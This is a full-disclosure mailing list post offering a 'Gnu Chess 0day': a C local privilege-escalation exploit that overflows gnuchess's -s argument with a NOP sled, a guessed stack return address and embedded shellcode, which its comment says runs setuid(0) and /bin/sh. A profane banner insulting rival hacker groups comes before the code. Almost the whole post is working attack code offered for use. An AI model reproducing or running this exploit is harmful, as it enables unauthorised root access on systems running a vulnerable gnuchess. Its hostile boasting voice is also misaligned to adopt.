full-disclosure - Gnu Chess 0day

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Message-ID: <BAY1-F131SxhoNVjUyc0000fea6@hotmail.com>
From: ace2oo1sk8 at hotmail.com (ace sk8)
Subject: Gnu Chess 0day

StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
  X X
  X STX ONLINE [ trippin smurfs y0] X
  X X
  StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS

  **************************************************
  * Note: our pen0rs are 50 x larger than yours.   *
  * This is a fuck you to gobbles. Go wash your    *
  * dirty ass hair, go take a bath, get a real life*
  * off of your fucking computer.  #phrack is a lot*
  * of dirt fucks too who don't get off their box  *
  **************************************************

*/

#include <stdio.h>

char stxcode[] =

     /* ace's shellcode [ ace2001sk8@...mail.com ] (setuid=0,/bin/sh) */
     "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\xeb\x03\x5e\xeb\x05\xe8\xf8\xff"
     "\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x50\x80\x36\x01\x46\xe2\xfa\xea"
     "\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01\x54"
     "\x88\xe4\x82\xed\x11\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xb6"
     "\x11\x01\x01\x8c\xb2\x2f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01"
     "\x88\x74\xf9\x8c\x4c\xf9\x30\xd3\xb9\x0a\x01\x01\x01\x52\x88\xf2"
     "\xcc\x81\x5a\x5f\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91";


unsigned long pen0r(void)

{
__asm__("movl %esp, %eax");
}

int main(int argc, char **argv) {

int pos; int ace = pen0r(); int stxnop = 0x90;
int stxbytes = 648; int stxtotal = stxbytes + 4;
char *stxbof;
stxbof = (char *)malloc(stxbytes);

for(pos = 0; pos < stxbytes; pos++) {*(long *)&stxbof[pos] = stxnop;}
*(long *)&stxbof[stxbytes] = pen0r();
memcpy(stxbof + stxbytes - strlen(stxcode), stxcode, strlen(stxcode));

system("clear");
printf("########################################\n");
printf("# [ STX SECURITY LABS ] #\n");
printf("# gnuchess local poc exploit by: ace #\n");
printf("########################################\n\n");
printf("[+] Return Address: 0x%x\n", ace);
printf("[+] Buffer Size: %d\n", stxtotal);
printf("[-] /usr/bin/gnuchess -s pwned!\n\n");

execl("/usr/bin/gnuchess", "gnuchess", "-s", stxbof, NULL);

return 0;

}

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